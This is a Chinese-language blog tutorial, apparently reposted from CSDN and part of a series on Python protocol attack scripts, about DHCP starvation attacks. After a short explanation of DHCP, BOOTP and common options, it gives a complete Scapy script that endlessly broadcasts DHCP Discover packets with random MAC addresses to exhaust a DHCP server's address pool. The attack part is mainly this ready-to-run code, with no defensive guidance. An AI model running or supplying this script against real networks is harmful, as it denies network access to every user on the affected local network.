编程语言
首页 > 编程语言> > Python 协议攻击脚本(七): DHCP攻击

Python 协议攻击脚本(七): DHCP攻击

作者:互联网

DCHP知识铺垫

DHCP

动态主机设置协议(英语:Dynamic Host Configuration Protocol,缩写:DHCP)是一个局域网的网络协议,使用UDP协议工作

BOOTP

BOOTP(Bootstrap Protocol,引导程序协议)是一种引导协议,基于IP/UDP协议,也称自举协议,是DHCP协议的前身。

关系

报文部分字段

常见option选项

Option id name 描述
1 Subnet Mask 子网掩码
3 Router 网关
6 DNS Server DNS服务器
51 IP address lease time IP地址租期
53 Message type 消息类型
54 DHCP Server Identifier DHCP服务器身份

IP请求中的Message type:

DHCP耗尽攻击

不断的发送DHCP Dscover来向DHCP服务器请求IP地址,导致地址池耗尽,对网络造成破坏

详见:

DHCP协议 | wiki

DHCP Option 文档 | cisco

BOOTP/DHCP options

数据包分析

DHCP 服务器: 192.168.1.1
地址池:192.168.1.100-200

mark

Ether

IP

UDP

DHCP

编写脚本

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from scapy.all import (
    Ether,
    RandMAC,
    IP,
    UDP,
    BOOTP,
    DHCP,
    sendp
)
import random

def dhcp_discover(iface):
    while 1:
        xid_random = random.randint(1, 900000000)
        mac_random = str(RandMAC())
        dhcp_discover = (Ether(src=mac_random,dst='ff:ff:ff:ff:ff:ff')/
                     IP(src='0.0.0.0',dst='255.255.255.255')/
                     UDP(sport=68,dport=67)/
                     BOOTP(chaddr=mac_random,xid=xid_random,flags=0x8000)/
                     DHCP(options=[('message-type','discover')]
                     ))

        sendp(dhcp_discover,iface=iface)



if __name__ == '__main__':
    iface = 'eth0'
    dhcp_discover(iface)

标签:协议,攻击,IP,random,BOOTP,Python,ff,DHCP
来源: https://blog.csdn.net/qq_41725312/article/details/90314500